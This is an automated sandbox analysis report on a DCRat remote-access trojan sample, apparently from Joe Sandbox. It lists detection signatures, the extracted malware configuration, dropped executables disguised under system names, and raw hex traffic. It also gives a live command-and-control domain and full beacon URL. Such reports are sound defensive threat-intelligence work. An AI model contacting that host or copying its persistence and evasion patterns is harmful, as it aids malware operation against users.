Windows Analysis Report
5P9EdUgv5r.exe

Overview

General Information

Sample name: 5P9EdUgv5r.exe
renamed because original name is a hash value
Original sample name: 1F70E167B93D471AF9DAF333145DB4CD.exe
Analysis ID: 1502154
MD5: 1f70e167b93d471af9daf333145db4cd
SHA1: b7c1afc111a98055b28c94f62599ff33f41ced24
SHA256: 9fbc9f10ad8bc902a7a847d76b9792ac9f995555e856824f96fd04b7290b5aed
Tags: DCRatexe
Infos:

Detection

DCRat
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Found malware configuration
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Schedule system process
Suricata IDS alerts for network traffic
Yara detected DCRat
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
AI detected suspicious sample
Creates processes via WMI
Disable UAC(promptonsecuredesktop)
Disables UAC (registry)
Drops executables to the windows directory (C:\Windows) and starts them
Machine Learning detection for dropped file
Machine Learning detection for sample
Sigma detected: Files With System Process Name In Unsuspected Locations
Uses schtasks.exe or at.exe to add and modify task schedules
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
File is packed with WinRar
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain (date check)
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: 5P9EdUgv5r.exe Avira: detected
Antivirus detection for URL or domain
Source: http://a1023624.xsph.ru Avira URL Cloud: Label: malware
Source: http://a1023624.xsph.ru/ Avira URL Cloud: Label: malware
Source: http://a1023624.xsph.ru/1ffc0666.php?D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs&494c04091cad695e488cec836843e29b=14eed2ab8e75c30d5e3051e42b208839&97fa7d33edb300ced93fc3fe0e6b5970=gMxYzM1kzY5YmY1QWNzQTZhJjNjhTZ0QDZ2ITY3MTZjJWMmNWO5YmN&D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs Avira URL Cloud: Label: malware
Source: http://a1023624.xsph.ru/1ffc0666.php?D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs&494c04091cad695e488cec8 Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\serversessionmonitor\blockfont.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Windows Media Player\en-US\backgroundTaskHost.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\serversessionmonitor\1ogacUYksBebmJ8WSR.vbe Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Program Files (x86)\Windows Portable Devices\winlogon.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Recovery\SearchApp.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe Avira: detection malicious, Label: HEUR/AGEN.1323984
Found malware configuration
Source: 00000004.00000002.1790371382.00000000132BF000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: DCRat {"SCRT": "{\"0\":\">\",\"L\":\"~\",\"y\":\"^\",\"o\":\"&\",\"h\":\"*\",\"c\":\"`\",\"A\":\"|\",\"i\":\")\",\"n\":\",\",\"9\":\"_\",\"1\":\"-\",\"I\":\";\",\"J\":\"!\",\"j\":\"%\",\"d\":\".\",\"e\":\"@\",\"C\":\"$\",\"M\":\"#\",\"W\":\" \",\"z\":\"<\",\"N\":\"(\"}", "PCRT": "{\"5\":\"$\",\"Z\":\"&\",\"D\":\"|\",\"a\":\";\",\"U\":\" \",\"E\":\">\",\"R\":\"-\",\"F\":\",\",\"t\":\"~\",\"Q\":\"@\",\"i\":\"%\",\"T\":\"#\",\"Y\":\"^\",\"d\":\"<\",\"4\":\"_\",\"h\":\")\",\"l\":\"!\",\"k\":\"`\",\"J\":\".\",\"X\":\"(\",\"B\":\"*\"}", "TAG": "", "MUTEX": "DCR_MUTEX-7082klfQ9GyGfgjPd35M", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 0, "AUR": 1, "ASCFG": {"searchpath": "%UsersFolder% - Fast"}, "AS": false, "ASO": false, "AD": false}
Multi AV Scanner detection for domain / URL
Source: a1023624.xsph.ru Virustotal: Detection: 5% Perma Link
Source: http://a1023624.xsph.ru Virustotal: Detection: 5% Perma Link
Source: http://a1023624.xsph.ru/ Virustotal: Detection: 5% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe ReversingLabs: Detection: 87%
Source: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe Virustotal: Detection: 68% Perma Link
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe ReversingLabs: Detection: 87%
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Virustotal: Detection: 68% Perma Link
Source: C:\Program Files (x86)\Windows Mail\qwhJcOiWbbUoQMvwnJNr.exe ReversingLabs: Detection: 87%
Source: C:\Program Files (x86)\Windows Mail\qwhJcOiWbbUoQMvwnJNr.exe Virustotal: Detection: 68% Perma Link
Source: C:\Program Files (x86)\Windows Media Player\en-US\backgroundTaskHost.exe ReversingLabs: Detection: 87%
Source: C:\Program Files (x86)\Windows Media Player\en-US\backgroundTaskHost.exe Virustotal: Detection: 68% Perma Link
Source: C:\Program Files (x86)\Windows Portable Devices\winlogon.exe ReversingLabs: Detection: 87%
Source: C:\Program Files (x86)\Windows Portable Devices\winlogon.exe Virustotal: Detection: 68% Perma Link
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe ReversingLabs: Detection: 87%
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Virustotal: Detection: 68% Perma Link
Source: C:\Recovery\SearchApp.exe ReversingLabs: Detection: 87%
Source: C:\Recovery\SearchApp.exe Virustotal: Detection: 68% Perma Link
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe ReversingLabs: Detection: 87%
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Virustotal: Detection: 68% Perma Link
Source: C:\serversessionmonitor\blockfont.exe ReversingLabs: Detection: 87%
Source: C:\serversessionmonitor\blockfont.exe Virustotal: Detection: 68% Perma Link
Multi AV Scanner detection for submitted file
Source: 5P9EdUgv5r.exe ReversingLabs: Detection: 71%
Source: 5P9EdUgv5r.exe Virustotal: Detection: 61% Perma Link
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 99.9% probability
Machine Learning detection for dropped file
Source: C:\serversessionmonitor\blockfont.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Windows Media Player\en-US\backgroundTaskHost.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Windows Portable Devices\winlogon.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe Joe Sandbox ML: detected
Source: C:\Recovery\SearchApp.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: 5P9EdUgv5r.exe Joe Sandbox ML: detected
Uses 32bit PE files
Source: 5P9EdUgv5r.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: C:\serversessionmonitor\blockfont.exe Directory created: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Directory created: C:\Program Files\Windows Portable Devices\8057c8f30c1a8e Jump to behavior
Source: 5P9EdUgv5r.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: 5P9EdUgv5r.exe
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D6A5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError, 0_2_00D6A5F4
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D7B8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW, 0_2_00D7B8E0

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.4:49734 -> 141.8.194.149:80
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 141.8.194.149 141.8.194.149
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: SPRINTHOSTRU SPRINTHOSTRU
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /1ffc0666.php?D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs&494c04091cad695e488cec836843e29b=14eed2ab8e75c30d5e3051e42b208839&97fa7d33edb300ced93fc3fe0e6b5970=gMxYzM1kzY5YmY1QWNzQTZhJjNjhTZ0QDZ2ITY3MTZjJWMmNWO5YmN&D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs HTTP/1.1Accept: */*Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: a1023624.xsph.ruConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /1ffc0666.php?D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs&494c04091cad695e488cec836843e29b=14eed2ab8e75c30d5e3051e42b208839&97fa7d33edb300ced93fc3fe0e6b5970=gMxYzM1kzY5YmY1QWNzQTZhJjNjhTZ0QDZ2ITY3MTZjJWMmNWO5YmN&D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs HTTP/1.1Accept: */*Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: a1023624.xsph.ru
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /1ffc0666.php?D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs&494c04091cad695e488cec836843e29b=14eed2ab8e75c30d5e3051e42b208839&97fa7d33edb300ced93fc3fe0e6b5970=gMxYzM1kzY5YmY1QWNzQTZhJjNjhTZ0QDZ2ITY3MTZjJWMmNWO5YmN&D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs HTTP/1.1Accept: */*Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: a1023624.xsph.ruConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /1ffc0666.php?D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs&494c04091cad695e488cec836843e29b=14eed2ab8e75c30d5e3051e42b208839&97fa7d33edb300ced93fc3fe0e6b5970=gMxYzM1kzY5YmY1QWNzQTZhJjNjhTZ0QDZ2ITY3MTZjJWMmNWO5YmN&D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs HTTP/1.1Accept: */*Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: a1023624.xsph.ru
Source: global traffic DNS traffic detected: DNS query: a1023624.xsph.ru
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Sat, 31 Aug 2024 07:22:11 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingData Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Sat, 31 Aug 2024 07:22:12 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingData Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69
Source: qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.000000000329D000.00000004.00000800.00020000.00000000.sdmp, qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.000000000326B000.00000004.00000800.00020000.00000000.sdmp, qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.0000000003292000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a1023624.xsph.ru
Source: qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.0000000003263000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a1023624.xsph.ru/
Source: qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.000000000326B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a1023624.xsph.ru/1ffc0666.php?D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs&494c04091cad695e488cec8
Source: qwhJcOiWbbUoQMvwnJNr.exe, 00000014.00000002.1867548337.0000000001110000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://go.mic
Source: blockfont.exe, 00000004.00000002.1784999674.000000000365B000.00000004.00000800.00020000.00000000.sdmp, qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.000000000326B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.000000000329D000.00000004.00000800.00020000.00000000.sdmp, qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.00000000032C8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cp.sprinthost.ru
Source: qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.000000000329D000.00000004.00000800.00020000.00000000.sdmp, qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.00000000032C8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cp.sprinthost.ru/auth/login
Source: qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.000000000329D000.00000004.00000800.00020000.00000000.sdmp, qwhJcOiWbbUoQMvwnJNr.exe, 00000025.00000002.1825230562.00000000032C8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://index.from.sh/pages/game.html

System Summary
barindex
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\SysWOW64\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8} Jump to behavior
Contains functionality to communicate with device drivers
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D6718C: __EH_prolog,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW, 0_2_00D6718C
Creates files inside the system directory
Source: C:\serversessionmonitor\blockfont.exe File created: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe File created: C:\Windows\RemotePackages\RemoteApps\8057c8f30c1a8e Jump to behavior
Detected potential crypto function
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D6857B 0_2_00D6857B
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D770BF 0_2_00D770BF
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D6407E 0_2_00D6407E
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D8D00E 0_2_00D8D00E
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D91194 0_2_00D91194
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D802F6 0_2_00D802F6
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D63281 0_2_00D63281
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D6E2A0 0_2_00D6E2A0
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D76646 0_2_00D76646
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D737C1 0_2_00D737C1
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D627E8 0_2_00D627E8
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D8070E 0_2_00D8070E
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D8473A 0_2_00D8473A
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D6E8A0 0_2_00D6E8A0
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D84969 0_2_00D84969
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D6F968 0_2_00D6F968
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D76A7B 0_2_00D76A7B
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D73A3C 0_2_00D73A3C
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D80B43 0_2_00D80B43
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D8CB60 0_2_00D8CB60
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D75C77 0_2_00D75C77
